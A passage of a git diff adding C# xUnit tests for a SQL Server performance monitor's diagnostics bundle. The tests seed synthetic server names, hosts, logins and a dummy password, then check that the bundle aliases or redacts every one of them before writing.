+    [InlineData("  Gate.KappaCorp.Example.Test.  ", "kappacorp")]    // the log names it trimmed and without the trailing dot
+    [InlineData("gate.käppacorp.example.test", "kppacorp")]     // written in Unicode, named in its ASCII form
+    public void McpHostName_InTheCertificateNameWarning_ComesOutAliased(string configured, string distinctive)
+    {
+        var config = new DarlingConfig { Mcp = { Network = new McpNetworkConfig { HostName = configured } } };
+        var aliaser = new BundleAliaser();
+        DiagnosticsBundle.SeedFromConfig(aliaser, config, null);
+
+        using var key = RSA.Create(2048);
+        var request = new CertificateRequest("CN=bundle-test", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
+        using var certificate = request.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30));
+        var normalized = DarlingMcpHostService.NormalizedHostName(configured);
+        var warning = DarlingListenerTls.SanWarning(ListenerTlsLabels.Mcp, certificate, IPAddress.Parse("192.0.2.10"), 5152, normalized);
+        Assert.Contains(normalized!, warning!, StringComparison.Ordinal);
+
+        var text = BundleOfServiceLogMessages(aliaser, warning!);
+        Assert.DoesNotContain(normalized!, text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain(distinctive, text, StringComparison.OrdinalIgnoreCase);
+        Assert.Matches(@"host-\d+", text);
+    }
+
+    [Theory]
+    [InlineData("https://gate.kappacorp.example.test:5152/")]
+    [InlineData("gate.kappacorp.example.test:5152")]
+    [InlineData("*.kappacorp.example.test")]
+    public void McpHostName_ARefusedValue_AndTheHostHeadersThatFollowIt_ComeOutAliased(string configured)
+    {
+        var config = new DarlingConfig { Mcp = { Network = new McpNetworkConfig { HostName = configured } } };
+        var aliaser = new BundleAliaser();
+        DiagnosticsBundle.SeedFromConfig(aliaser, config, null);
+
+        var logger = new CapturingTestLogger();
+        Assert.Null(DarlingMcpHostService.ResolveAllowedHostName(configured, networkMode: true, logger));
+        var warning = Assert.Single(logger.Lines);
+        Assert.Contains(configured, warning, StringComparison.Ordinal);
+
+        /* The value is refused, so a client that connects by the real name is refused too, and the log names that Host alone. */
+        var refusal = "the Host header 'gate.kappacorp.example.test' is not an address this endpoint binds" + DarlingMcpHostService.HostRefusalAdmits;
+        var text = BundleOfServiceLogMessages(aliaser, warning, refusal);
+        Assert.DoesNotContain("kappacorp", text, StringComparison.OrdinalIgnoreCase);
+    }
+
+    /* The service log's own words for its two listeners ("MCP server", "Web dashboard", mcp.network.allowFrom): a host
+       name that starts with one of them is aliased whole, with its domain, and the words stay readable. The texts are
+       the cleartext warning each listener logs at every start. */
+    [Theory]
+    [InlineData("mcp", "mcp.corp.example.test")]              // mcp.network.hostName
+    [InlineData("web", "web.corp.example.test")]              // web.publicBaseUrl
+    [InlineData("dashboard", "dashboard.corp.example.test")]  // web.publicBaseUrl
+    public void AHostNameThatStartsWithAListenerWord_KeepsTheServiceLogsWordsAndAliasesTheHost(string firstLabel, string hostName)
+    {
+        var config = firstLabel == "mcp"
+            ? new DarlingConfig { Mcp = { Network = new McpNetworkConfig { HostName = hostName } } }
+            : new DarlingConfig { Web = { PublicBaseUrl = "https://" + hostName + "/" } };
+        var aliaser = new BundleAliaser();
+        DiagnosticsBundle.SeedFromConfig(aliaser, config, null);
+
+        var text = BundleOfServiceLogMessages(
+            aliaser,
+            DarlingListenerTls.CleartextWarning(ListenerTlsLabels.Mcp),
+            DarlingListenerTls.CleartextWarning(ListenerTlsLabels.Web),
+            "clients connect to " + hostName,
+            "the Host header '" + hostName + "' is not an address this endpoint binds" + DarlingMcpHostService.HostRefusalAdmits);
+
+        Assert.Contains("MCP server is LAN-exposed WITHOUT TLS", text, StringComparison.Ordinal);
+        /* The Host-refusal line names mcp.network.listen and mcp.network.hostName: the settings stay readable, the Host header named beside them is aliased. */
+        Assert.Contains("mcp.network.listen when LAN-exposed, or mcp.network.hostName when LAN-exposed", text, StringComparison.Ordinal);
+        Assert.Contains("mcp.network.allowFrom bounds only who can route to the port", text, StringComparison.Ordinal);
+        Assert.Contains("Web dashboard is LAN-exposed WITHOUT TLS", text, StringComparison.Ordinal);
+        Assert.Contains("web.network.allowFrom bounds only who can route to the port", text, StringComparison.Ordinal);
+        Assert.DoesNotContain(hostName, text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("corp.example", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Matches(@"clients connect to host-\d+", text);
+    }
+
+    /* A webhook proxy goes through the same first-label registration: a proxy host name that starts with "proxy" is
+       aliased whole, with its domain, and the log's "reverse proxy" words stay readable. */
+    [Fact]
+    public void AProxyHostNameThatStartsWithProxy_KeepsTheReverseProxyWordsAndAliasesTheHost()
+    {
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsProxy = "http://proxy.corp.example.test:3128";
+        var aliaser = new BundleAliaser();
+        DiagnosticsBundle.SeedFromConfig(aliaser, config, null);
+
+        var text = BundleOfServiceLogMessages(
+            aliaser,
+            DarlingListenerTls.CleartextWarning(ListenerTlsLabels.Mcp),
+            "webhooks go out through proxy.corp.example.test:3128");
+
+        Assert.Contains("or front the port with a TLS-terminating reverse proxy", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("proxy.corp.example", text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("corp.example", text, StringComparison.OrdinalIgnoreCase);
+        Assert.Matches(@"webhooks go out through host-\d+", text);
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public void McpHostName_NotSet_SeedsNothing(string? configured)
+    {
+        var withName = new BundleAliaser();
+        DiagnosticsBundle.SeedFromConfig(withName, new DarlingConfig { Mcp = { Network = new McpNetworkConfig { HostName = configured } } }, null);
+        var without = new BundleAliaser();
+        DiagnosticsBundle.SeedFromConfig(without, new DarlingConfig(), null);
+        Assert.Equal(without.TokenCount, withName.TokenCount);
+    }
+
+    [Theory]
+    [InlineData(@"QXCORP\svc_zeta", "QXCORP", "svc_zeta")]
+    [InlineData(@".\svc_local", null, "svc_local")]
+    [InlineData("svc_up@qxcorp.example.test", "qxcorp.example.test", "svc_up")]
+    [InlineData("LocalSystem", null, null)]
+    [InlineData(@"NT AUTHORITY\NetworkService", null, null)]
+    [InlineData(@"NT SERVICE\SomeService", null, null)]
+    public void ServiceAccount_IsSplitIntoDomainAndLogin(string objectName, string? domain, string? login)
+    {
+        Assert.Equal((domain, login), DiagnosticsBundle.ParseServiceAccount(objectName));
+    }
+
+    [Fact]
+    public void SeedFromConfig_AddsTheUserDomainName_AndNotesWhenTheServiceAccountCannotBeRead()
+    {
+        var aliaser = new BundleAliaser();
+        var notes = DiagnosticsBundle.SeedFromConfig(aliaser, new DarlingConfig(), null);
+        if (!OperatingSystem.IsWindows())
+        {
+            Assert.Contains(notes, n => n.Contains("not Windows", StringComparison.Ordinal));
+        }
+
+        var domain = Environment.UserDomainName;
+        if (domain.Length >= 2 && !new[] { "system", "administrator", "root", "localsystem", "service", "networkservice", "admin" }.Contains(domain, StringComparer.OrdinalIgnoreCase))
+        {
+            Assert.DoesNotContain(domain, aliaser.Alias("domain " + domain + " here"), StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    /* ── the secret length floor ── */
+
+    [Fact]
+    public void ConfigSecrets_OfAnyLength_AreTracked()
+    {
+        var config = new DarlingConfig();
+        config.Servers.Add(new MonitoredServer { Name = "alpha", Password = "xy" });
+        var aliaser = new BundleAliaser();
+        DiagnosticsBundle.SeedFromConfig(aliaser, config, null);
+        Assert.Equal("pw [redacted] ok", aliaser.Alias("pw xy ok"));
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleHealthUncutLiveTests.cs b/Darling/Darling.Tests/DiagnosticsBundleHealthUncutLiveTests.cs
new file mode 100644
index 0000000000..c7a62498a7
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleHealthUncutLiveTests.cs
@@ -0,0 +1,112 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres. */
+
+/// <summary>#5097: the bundle reads collection health with its error text whole, and the MCP tool's own output is unchanged. Names are synthetic.</summary>
+public sealed class DiagnosticsBundleHealthUncutLiveTests
+{
+    private const int ServerId = 811;
+    private const string ServerName = "alpha-sql-01";
+    private const string Host = "sql01.contoso-corp.example.test";
+
+    private static JsonObject Collector(string json, string collector)
+    {
+        var tree = JsonNode.Parse(json)!.AsObject();
+        return tree["collectors"]!.AsArray().OfType<JsonObject>().Single(r => r["collector"]!.GetValue<string>() == collector);
+    }
+
+    [Fact]
+    public async Task TheBundleRead_KeepsTheWholeErrorText_AndTheToolStillCutsAtFiveHundred()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live health test.");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ok = false;
+        try
+        {
+            var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var error = new string('x', 480) + " " + Host + " refused the login";
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await using (var server = new NpgsqlCommand(
+                    "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date) VALUES ($1, $2, $2, TRUE, 15, $3, $3)", connection))
+                {
+                    server.Parameters.AddWithValue(ServerId);
+                    server.Parameters.AddWithValue(ServerName);
+                    server.Parameters.AddWithValue(now);
+                    await server.ExecuteNonQueryAsync(ct);
+                }
+
+                for (var i = 0; i < 4; i++)
+                {
+                    await using var run = new NpgsqlCommand(
+                        @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, error_message, rows_collected)
+VALUES ($1, $2, $3, 'wait_stats', $4, 100, 'ERROR', $5, 0)", connection);
+                    run.Parameters.AddWithValue(CollectionIdGenerator.Next());
+                    run.Parameters.AddWithValue(ServerId);
+                    run.Parameters.AddWithValue(ServerName);
+                    run.Parameters.AddWithValue(now.AddMinutes(-10 - i));
+                    run.Parameters.AddWithValue(error);
+                    await run.ExecuteNonQueryAsync(ct);
+                }
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var tool = await DarlingMcpDataTools.GetCollectionHealth(postgres, ServerName, cancellationToken: ct);
+            var uncut = await DarlingMcpDataTools.GetCollectionHealthUncut(postgres, ServerName, ct);
+
+            var toolRow = Collector(tool, "wait_stats");
+            var uncutRow = Collector(uncut, "wait_stats");
+
+            /* The tool: cut to 500 characters and marked. */
+            Assert.True(toolRow["last_error_truncated"]!.GetValue<bool>());
+            Assert.EndsWith("... (truncated)", toolRow["last_error"]!.GetValue<string>(), StringComparison.Ordinal);
+            Assert.DoesNotContain(Host, toolRow["last_error"]!.GetValue<string>(), StringComparison.Ordinal);
+
+            /* The bundle read: the whole text, so a name that straddles character 500 is whole for the alias pass. */
+            Assert.Equal(error, uncutRow["last_error"]!.GetValue<string>());
+            Assert.False(uncutRow["last_error_truncated"]!.GetValue<bool>());
+
+            /* Everything else (the finding is a sentence built from the error text, so it moves with it) is the tool's output, row for row. */
+            foreach (var row in new[] { toolRow, uncutRow })
+            {
+                row.Remove("last_error");
+                row.Remove("last_error_truncated");
+                row.Remove("output_finding");
+                row.Remove("output_finding_truncated");
+            }
+
+            Assert.Equal(toolRow.ToJsonString(), uncutRow.ToJsonString());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleLeakLiveTests.cs b/Darling/Darling.Tests/DiagnosticsBundleLeakLiveTests.cs
new file mode 100644
index 0000000000..e7842accef
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleLeakLiveTests.cs
@@ -0,0 +1,429 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and never touches another
+   test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// #5097, the acceptance test for <c>--diagnostics-bundle</c>. A scratch store is seeded with distinctive synthetic names
+/// in every source the bundle reads (registry, hosts, an FQDN with its domain suffix, an IP, databases, a login, wait
+/// summaries, collection errors, slow-read arguments and sources, statement labels, statement history and service-log
+/// lines), the verb writes a bundle, and no seeded string may appear anywhere in the file: not in the bytes, not
+/// case-folded, not in the JSON-unescaped text. The aliases and every seeded section must be there, so the pass is not vacuous.
+/// </summary>
+public sealed class DiagnosticsBundleLeakLiveTests
+{
+    private const string ServerOne = "zeta-07";
+    private const string HostOne = @"zeta-07.example.test\QXINST";
+    private const string ServerTwo = "omega";
+    private const string HostTwo = "203.0.113.40,1433";
+    private const string DisplayTwo = "Epsilon Display";
+    private const string DbOne = "DeltaLedgerDb";
+    private const string DbTwo = "gamma_orders";
+    private const string Login = "betaowner";
+    private const string Password = "Sup3rS3cret!";
+    private const string Domain = "example.test";
+    private const string StoreRole = "qxreporter";
+    private const string TcpServer = "qxtcpname-alpha";
+    private const string TcpHostName = "qxtcphost-alpha.qxzone.test";
+    private const string StoreLogSecretHost = "qxlogged-12";
+    private const string RemovedServer = "qxgone-21";
+    private const string GatedPgServer = "qxgated-pg9";
+
+    /// <summary>Everything that must not appear, including the pieces a splitter produces.</summary>
+    internal static readonly string[] Forbidden =
+    {
+        ServerOne, "zeta-07.example.test", "QXINST", ServerTwo, "203.0.113.40", DisplayTwo, "Epsilon", DbOne, DbTwo, Login, Password, Domain,
+        "zeta-07x", RemovedServer, StoreLogSecretHost, "QXCORP", "svc_zeta", StoreRole, TcpServer, TcpHostName, "qxtcphost", "qxzone", GatedPgServer,
+    };
+
+    /// <summary>
+    /// A statement that reads as 233 characters of text before <see cref="DbTwo"/>, so the name straddles the 240-character preview
+    /// cut (the tool's cut would keep "gamma_o"). pg_stat_statements stores the literals as <c>$n</c>, so the text is
+    /// <c>SELECT $1 AS c..., $2 AS d..., $3 AS e..., $4 AS ffffffff, $5 AS gamma_orders</c>. The identifiers are under the 63-byte limit.
+    /// </summary>
+    private static readonly string StraddlingStatement =
+        $"SELECT 1 AS {new string('c', 60)}, 2 AS {new string('d', 60)}, 3 AS {new string('e', 60)}, 4 AS ffffffff, 5 AS {DbTwo}";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task DropRoleAsync(string connectionString)
+    {
+        await using var c = new NpgsqlConnection(connectionString);
+        await c.OpenAsync(CancellationToken.None);
+        await ExecAsync(c, $"DROP ROLE IF EXISTS {StoreRole}");
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection c, string sql, params object?[] values)
+    {
+        await using var command = new NpgsqlCommand(sql, c);
+        foreach (var v in values)
+        {
+            command.Parameters.AddWithValue(v ?? DBNull.Value);
+        }
+
+        await command.ExecuteNonQueryAsync(CancellationToken.None);
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection c)
+    {
+        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        foreach (var (id, name, host, display, db) in new[] { (701, ServerOne, HostOne, ServerOne, DbOne), (702, ServerTwo, HostTwo, DisplayTwo, DbTwo) })
+        {
+            await ExecAsync(c, "INSERT INTO config_monitored_servers (server_id, name, host, database, username, is_enabled) VALUES ($1, $2, $3, $4, $5, TRUE) ON CONFLICT (server_id) DO NOTHING",
+                id, name, host, db, Login);
+            await ExecAsync(c, "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date) VALUES ($1, $2, $3, TRUE, 15, $4, $4) ON CONFLICT (server_id) DO NOTHING",
+                id, name, display, now);
+            await ExecAsync(c, "INSERT INTO database_states (collection_id, collection_time, server_id, server_name, database_name, database_id, state_desc, is_in_standby) VALUES ($1, $2, $3, $4, $5, 5, 'ONLINE', FALSE)",
+                CollectionIdGenerator.Next(), now.AddMinutes(-5), id, name, db);
+        }
+
+        /* A server registered with a protocol prefix (the Azure portal's connection form), a store login that is in no
+           connection string, and a Windows account named only in an error message. */
+        await ExecAsync(c, "INSERT INTO config_monitored_servers (server_id, name, host, database, username, is_enabled) VALUES (703, $1, $2, $3, $4, TRUE) ON CONFLICT (server_id) DO NOTHING",
+            TcpServer, "tcp:" + TcpHostName + ",1433", DbTwo, Login);
+        await ExecAsync(c, "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date) VALUES (703, $1, $1, TRUE, 15, $2, $2) ON CONFLICT (server_id) DO NOTHING",
+            TcpServer, now);
+        /* A server removed from the registry keeps its rows in the collected-data tables, and the service log still names it. */
+        await ExecAsync(c, "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date) VALUES (704, $1, $1, FALSE, 15, $2, $2) ON CONFLICT (server_id) DO NOTHING",
+            RemovedServer, now);
+        /* #5249: a registered PostgreSQL server whose engine kind gates collectors. get_collection_health lists each gated
+           collector as a not_collected row whose message starts with the server name, and the bundle reads that tool's uncut
+           output, so the alias pass must reach the message. */
+        await ExecAsync(c, "INSERT INTO config_monitored_servers (server_id, name, host, database, username, is_enabled) VALUES (705, $1, $2, $3, $4, TRUE) ON CONFLICT (server_id) DO NOTHING",
+            GatedPgServer, "qxgated-pg9.example.test", DbTwo, Login);
+        await ExecAsync(c, "INSERT INTO servers (server_id, server_name, display_name, is_enabled, engine_kind, postgres_major_version, created_date, modified_date) VALUES (705, $1, $1, TRUE, 'postgres', 15, $2, $2) ON CONFLICT (server_id) DO NOTHING",
+            GatedPgServer, now);
+        /* The tool answers "unavailable" for a server with no log rows, so the gated rows need one run beside them. */
+        await ExecAsync(c, "INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) VALUES ($1, 705, $2, 'pg_database_stats', $3, 100, 'SUCCESS', 10)",
+            CollectionIdGenerator.Next(), GatedPgServer, now.AddMinutes(-5));
+        await ExecAsync(c, $"DO $$ BEGIN IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = '{StoreRole}') THEN CREATE ROLE {StoreRole} NOLOGIN; END IF; END $$");
+        await ExecAsync(c, @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, error_message, rows_collected)
+VALUES ($1, 701, $2, 'file_io_stats', $3, 3000, 'ERROR', $4, 0)",
+            CollectionIdGenerator.Next(), ServerOne, now.AddMinutes(-12), $"Login failed for user 'QXCORP\\svc_zeta'. connecting to tcp:{TcpHostName},1433 (resolved {TcpHostName})");
+
+        /* A retained store-log row whose text names a host nobody registered, with its capture denominator. */
+        await ExecAsync(c, "INSERT INTO collect.store_log_captures VALUES ($1, 'postgresql-Mon.log', 1000, 0, 10, 4, FALSE, 0)", now.AddMinutes(-4));
+        await ExecAsync(c, "INSERT INTO collect.store_log_events VALUES ($1, 'unrecognised', 'ERROR', 2, $2, $3)",
+            now.AddMinutes(-4), $"connection to server at \"{StoreLogSecretHost}.example.test\" failed for user \"{StoreRole}\"", $"{now:yyyy-MM-dd HH:mm:ss} UTC [123] ERROR:  connection to server at \"{StoreLogSecretHost}.example.test\" failed for user \"{StoreRole}\"");
+
+        /* A failed collection run whose error text names the server and a database. */
+        await ExecAsync(c, @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, error_message, rows_collected)
+VALUES ($1, 702, $2, 'wait_stats', $3, 4000, 'ERROR', $4, 0)",
+            CollectionIdGenerator.Next(), ServerTwo, now.AddMinutes(-10), $"Login failed for user '{Login}' on {ServerTwo} ({HostTwo}); database {DbTwo} unavailable");
+
+        /* A failed run whose error text is long enough that a registered host starts before character 500 and ends after it:
+           the tool's own cut would leave the front of the host as a prefix no name matches, so the bundle must read the text whole. */
+        await ExecAsync(c, @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, error_message, rows_collected)
+VALUES ($1, 701, $2, 'query_store', $3, 4000, 'ERROR', $4, 0)",
+            CollectionIdGenerator.Next(), ServerOne, now.AddMinutes(-11), new string('x', 488) + " " + TcpHostName + " refused the login");
+
+        /* A stall probe whose wait summary names the server's FQDN and a client host. */
+        await ExecAsync(c, @"INSERT INTO collect.collector_stall_probes
+(probe_time, server_id, server_name, collector_name, outcome, budget_ms, trigger_elapsed_ms, waiting_task_count, top_wait_type, wait_summary, error_message)
+VALUES ($1, 701, $2, 'query_store', 'sampled', 60000, 20000, 3, 'PAGEIOLATCH_SH', $3, $4)",
+            now.AddMinutes(-20), ServerOne,
+            $"PAGEIOLATCH_SH x3 (ours: client host zeta-07.example.test app 'Darling' db {DbOne})", $"connect to zeta-07.example.test failed as {Login}");
+
+        /* Slow reads: arguments carry a database name, the source reason names the server, a statement label names a database. */
+        await ExecAsync(c, @"INSERT INTO collect.slow_reads
+(read_time, surface, route, outcome, total_ms, server_id, arguments, arguments_truncated, source, source_reason, statements, statement_count, statements_truncated, error_class, row_count)
+VALUES ($1, 'mcp', 'get_query_store_top', 'ok', 9000, 701, $2::jsonb, FALSE, 'raw', $3, $4::jsonb, 1, FALSE, NULL, 12)",
+            now.AddMinutes(-30),
+            $$"""{"server_name":"zeta-07","database_name":"DeltaLedgerDb","note":"for omega at 203.0.113.40"}""",
+            $"routed raw for zeta-07 (database {DbOne})",
+            $$"""[{"ordinal":1,"label":"query_store_stats @ gamma_orders 1a2b3c","ms":8800.5,"rows":12}]""");
+
+        /* The statement history, in the shape V163 gives it (the names match V163 as merged); created here only when the store lacks them. */
+        await ExecAsync(c, @"CREATE TABLE IF NOT EXISTS collect.store_statement_captures
+(capture_time timestamp NOT NULL, interval_seconds integer, stats_reset timestamp, dealloc bigint, dealloc_delta bigint, statements_seen integer NOT NULL, statements_kept integer NOT NULL, hidden_statements integer NOT NULL, outcome text NOT NULL)");
+        await ExecAsync(c, @"CREATE TABLE IF NOT EXISTS collect.store_statement_history
+(capture_time timestamp NOT NULL, interval_seconds integer NOT NULL, role_name text NOT NULL, queryid bigint NOT NULL, delta_calls bigint NOT NULL, delta_total_exec_ms double precision NOT NULL, delta_rows bigint NOT NULL, delta_shared_blks_hit bigint NOT NULL, delta_shared_blks_read bigint NOT NULL, delta_temp_blks_written bigint NOT NULL, max_exec_ms double precision, first_seen boolean NOT NULL, entry_restarted boolean NOT NULL, reset_in_interval boolean NOT NULL)");
+        await ExecAsync(c, "INSERT INTO collect.store_statement_captures VALUES ($1, 60, NULL, 0, 0, 10, 10, 0, 'ok')", now.AddMinutes(-3));
+        await ExecAsync(c, "INSERT INTO collect.store_statement_history VALUES ($1, 60, $2, 4242, 5, 12.5, 5, 10, 1, 0, 3.5, FALSE, FALSE, FALSE)", now.AddMinutes(-3), Login);
+    }
+
+    private static string Config(string connectionString, string dir)
+    {
+        var path = Path.Combine(dir, "darling.json");
+        File.WriteAllText(path, JsonSerializer.Serialize(new
+        {
+            postgres = new { connectionString },
+            servers = new object[]
+            {
+                new { name = ServerOne, host = HostOne, database = DbOne, username = Login },
+                new { name = ServerTwo, host = HostTwo, database = DbTwo, username = Login },
+                new { name = GatedPgServer, host = "qxgated-pg9.example.test", database = DbTwo, username = Login },
+                new { name = TcpServer, host = "tcp:" + TcpHostName + ",1433", database = DbTwo, username = Login },
+            },
+        }));
+        return path;
+    }
+
+    private static void WriteServiceLog(string dir)
+    {
+        Directory.CreateDirectory(dir);
+        File.WriteAllText(
+            Path.Combine(dir, $"darling-service_{DateTime.Now:yyyyMMdd}.log"),
+            $"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} [ERROR] [Connector] connect failed Server=zeta-07.example.test;Database={DbOne};User ID={Login};Password={Password}\n"
+            + $"    at Connector.Open(zeta-07x, {ServerTwo})\n"
+            + $"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} [WARN ] [Probe] slow answer from 203.0.113.40 for {DbTwo}\n"
+            + $"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} [ERROR] [Connector] Login failed for user 'QXCORP\\svc_zeta' on tcp:{TcpHostName},1433\n"
+            + $"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} [WARN ] [Probe] {RemovedServer} no longer answers\n");
+    }
+
+    /// <summary>The first forbidden string found in the text, in the bytes, case-folded, or in the JSON-unescaped text; null when none.</summary>
+    internal static string? FirstLeak(string path)
+    {
+        var bytes = File.ReadAllBytes(path);
+        var raw = Encoding.UTF8.GetString(bytes);
+        var unescaped = new StringBuilder();
+        using (var doc = JsonDocument.Parse(bytes))
+        {
+            Walk(doc.RootElement, unescaped);
+        }
+
+        foreach (var token in Forbidden)
+        {
+            var asBytes = Encoding.UTF8.GetBytes(token.ToUpperInvariant());
+            var upperBytes = Encoding.UTF8.GetBytes(raw.ToUpperInvariant());
+            if (raw.Contains(token, StringComparison.OrdinalIgnoreCase)
+                || unescaped.ToString().Contains(token, StringComparison.OrdinalIgnoreCase)
+                || upperBytes.AsSpan().IndexOf(asBytes) >= 0)
+            {
+                return token;
+            }
+        }
+
+        return null;
+    }
+
+    private static void Walk(JsonElement element, StringBuilder sink)
+    {
+        switch (element.ValueKind)
+        {
+            case JsonValueKind.Object:
+                foreach (var property in element.EnumerateObject())
+                {
+                    sink.Append(property.Name).Append('\n');
+                    Walk(property.Value, sink);
+                }
+
+                break;
+            case JsonValueKind.Array:
+                foreach (var item in element.EnumerateArray())
+                {
+                    Walk(item, sink);
+                }
+
+                break;
+            case JsonValueKind.String:
+                sink.Append(element.GetString()).Append('\n');
+                break;
+        }
+    }
+
+    [Fact]
+    public async Task Bundle_ContainsNoSeededName_AnywhereInTheFile_AndTheSectionsAreNotEmpty()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live bundle leak test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var root = Directory.CreateTempSubdirectory("darling-bundle-leak-");
+        var bodySucceeded = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await SeedAsync(connection);
+
+                /* Store statement TEXT: the extension is installed in the scratch database and a statement naming seeded
+                   names runs, as a literal (the module normalizes it away) and as an identifier (it keeps that). The
+                   run must happen: a missing extension fails here, it does not skip. */
+                var ensured = await StoreStatementStats.EnsureAsync(connection, "config", Array.Empty<string>(), Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, ct);
+                Assert.Equal(StoreStatementStats.SetupOutcome.Ready, ensured);
+                for (var i = 0; i < 3; i++)
+                {
+                    await using var statement = new NpgsqlCommand($"SELECT '{ServerOne}' AS {DbOne}, '{RemovedServer}' AS lit_col, pg_sleep(0.3)", connection);
+                    await statement.ExecuteNonQueryAsync(ct);
+                }
+
+                /* The history member reads through get_store_query_history: a statement whose text carries a registered database
+                   name across the 240-character preview cut, with a history row that ranks it first. The tool's own cut would leave
+                   the front of the name behind as a prefix no alias matches, so the bundle must read the text whole. */
+                /* Run many times: the extension's table is shared by every database on the server and evicts the least-used entries
+                   first, so a statement that ran once is gone when the full suite churns it (the full run showed exactly that). */
+                for (var i = 0; i < 25; i++)
+                {
+                    await using var straddle = new NpgsqlCommand(StraddlingStatement, connection);
+                    await straddle.ExecuteNonQueryAsync(ct);
+                }
+
+                long straddlingQueryId;
+                await using (var find = new NpgsqlCommand(
+                    "SELECT queryid FROM pg_stat_statements WHERE query LIKE ('%AS ' || $1) AND dbid = (SELECT oid FROM pg_database WHERE datname = current_database()) LIMIT 1", connection))
+                {
+                    find.Parameters.AddWithValue(DbTwo);
+                    straddlingQueryId = (long)(await find.ExecuteScalarAsync(ct))!;
+                }
+
+                await ExecAsync(connection, "INSERT INTO collect.store_statement_history VALUES ($1, 60, $2, $3, 5, 1500.0, 5, 10, 1, 0, 3.5, FALSE, FALSE, FALSE)",
+                    DateTime.SpecifyKind(DateTime.UtcNow.AddMinutes(-3), DateTimeKind.Unspecified), Login, straddlingQueryId);
+            }
+
+            var logs = Path.Combine(root.FullName, "logs");
+            WriteServiceLog(logs);
+            var config = Config(scratch.ConnectionString, root.FullName);
+            var first = Path.Combine(root.FullName, "first.json");
+            var second = Path.Combine(root.FullName, "second.json");
+            var map = Path.Combine(root.FullName, "map.txt");
+
+            var error = new StringWriter();
